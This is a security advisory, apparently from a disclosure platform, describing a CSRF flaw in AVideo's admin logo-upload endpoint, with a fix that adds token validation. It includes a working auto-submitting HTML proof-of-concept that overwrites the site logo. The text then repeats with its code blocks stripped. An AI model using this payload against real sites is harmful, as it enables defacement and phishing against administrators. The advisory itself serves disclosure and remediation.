Severity: Medium
CWE: CWE-352 (Cross-Site Request Forgery)
Summary
The site customization endpoint at admin/customize_settings_nativeUpdate.json.php lacks CSRF token validation and writes uploaded logo files to disk before the ORM's domain-based security check executes. Combined with SameSite=None cookie policy, a cross-origin POST can overwrite the platform's logo with attacker-controlled content.
Details
The endpoint admin/customize_settings_nativeUpdate.json.php processes logo uploads via base64-encoded POST data:
$fileData = base64DataToImage($_POST['logoImgBase64']);
$bytes = file_put_contents($global['systemRootPath'] . $photoURL, $fileData);
The file_put_contents() call executes before the ORM save() call. The ORM includes a Referer/Origin domain check that will reject the subsequent configuration title change from a cross-origin request, but by that point the file has already been written to disk. The logo overwrite succeeds even though the ORM blocks other changes.
Because AVideo sets SameSite=None on session cookies, the admin's authenticated session is included in cross-origin POST requests. No CSRF token is required by the endpoint.
Proof of Concept
Host the following HTML on an attacker-controlled domain. When an authenticated admin visits the page, their site logo is replaced.
<!DOCTYPE html>
<html>
<head><title>CSRF Logo Overwrite</title></head>
<body>
<h1>Loading...</h1>
<script>
// Minimal 1x1 red pixel PNG encoded as base64 data URI
var maliciousLogo = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwADhQGAWjR9awAAAABJRU5ErkJggg==";
var form = document.createElement("form");
form.method = "POST";
form.action = "https://your-avideo-instance.com/admin/customize_settings_nativeUpdate.json.php";
var input = document.createElement("input");
input.type = "hidden";
input.name = "logoImgBase64";
input.value = maliciousLogo;
form.appendChild(input);
document.body.appendChild(form);
form.submit();
</script>
</body>
</html>Impact
- Platform logo replaced with attacker-controlled image (defacement)
- Phishing potential: logo can be replaced with a misleading image containing fraudulent instructions
- The file write is irreversible without manual admin intervention
- ORM security check provides a false sense of protection since the file write occurs first
Recommended Fix
Add CSRF token validation at admin/customize_settings_nativeUpdate.json.php:10, before processing any POST data or file writes:
// admin/customize_settings_nativeUpdate.json.php:10
if (!isGlobalTokenValid()) {
die('{"error":"Invalid CSRF token"}');
}This must be placed before the base64DataToImage() and file_put_contents() calls to prevent the file write from executing on forged requests.
Found by aisafe.io
adrgs Reporter
aisafe-bot Finder
Severity: Medium
CWE: CWE-352 (Cross-Site Request Forgery)
Summary
The site customization endpoint at
admin/customize_settings_nativeUpdate.json.phplacks CSRF token validation and writes uploaded logo files to disk before the ORM's domain-based security check executes. Combined withSameSite=Nonecookie policy, a cross-origin POST can overwrite the platform's logo with attacker-controlled content.Details
The endpoint
admin/customize_settings_nativeUpdate.json.phpprocesses logo uploads via base64-encoded POST data:The
file_put_contents()call executes before the ORMsave()call. The ORM includes a Referer/Origin domain check that will reject the subsequent configuration title change from a cross-origin request, but by that point the file has already been written to disk. The logo overwrite succeeds even though the ORM blocks other changes.Because AVideo sets
SameSite=Noneon session cookies, the admin's authenticated session is included in cross-origin POST requests. No CSRF token is required by the endpoint.Proof of Concept
Host the following HTML on an attacker-controlled domain. When an authenticated admin visits the page, their site logo is replaced.
Impact
Recommended Fix
Add CSRF token validation at
admin/customize_settings_nativeUpdate.json.php:10, before processing any POST data or file writes:This must be placed before the
base64DataToImage()andfile_put_contents()calls to prevent the file write from executing on forged requests.Found by aisafe.io